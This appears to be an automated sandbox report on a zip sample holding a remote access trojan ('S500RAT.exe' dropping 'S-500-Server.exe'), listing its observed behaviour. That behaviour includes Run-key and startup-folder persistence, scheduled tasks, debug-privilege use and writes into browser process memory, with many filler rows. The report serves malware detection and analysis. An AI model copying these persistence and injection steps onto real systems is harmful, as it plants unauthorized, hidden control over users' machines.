Malware Analysis Report

2025-05-28 16:41

Sample ID 230706-swtj6ace93
Target asdfgdfdfdfdfdfdffgfdfg.zip
SHA256 952fd48df104b9002c3f94e433a7a06024cfd86522f981e981c4f8cd1a2f2483
Tags
agilenet persistence
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

952fd48df104b9002c3f94e433a7a06024cfd86522f981e981c4f8cd1a2f2483

Threat Level: Likely malicious

The file asdfgdfdfdfdfdfdffgfdfg.zip was found to be: Likely malicious.

Malicious Activity Summary

agilenet persistence

Downloads MZ/PE file

Drops startup file

Checks computer location settings

Obfuscated with Agile.Net obfuscator

Loads dropped DLL

Executes dropped EXE

.NET Reactor proctector

Adds Run key to start application

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: EnumeratesProcesses

NTFS ADS

Suspicious use of SendNotifyMessage

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Uses Task Scheduler COM API

Enumerates system info in registry

Creates scheduled task(s)

Checks processor information in registry

Modifies registry class

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of AdjustPrivilegeToken

Checks SCSI registry key(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-07-06 15:29

Signatures

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-07-06 15:28

Reported

2023-07-06 15:34

Platform

win10v2004-20230703-en

Max time kernel

284s

Max time network

291s

Command Line

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg.zip

Signatures

Downloads MZ/PE file

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\S-500-Server.lnk C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\S-500-Server.lnk C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\S-500-Server = "C:\\Users\\Admin\\AppData\\Roaming\\S-500-Server.exe" C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A C:\Windows\system32\taskmgr.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\taskmgr.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\Downloads\S-500-Server.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\S-500-Server.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\S-500-Server.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\S-500-Server.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1012 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1012 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 3628 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 3628 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
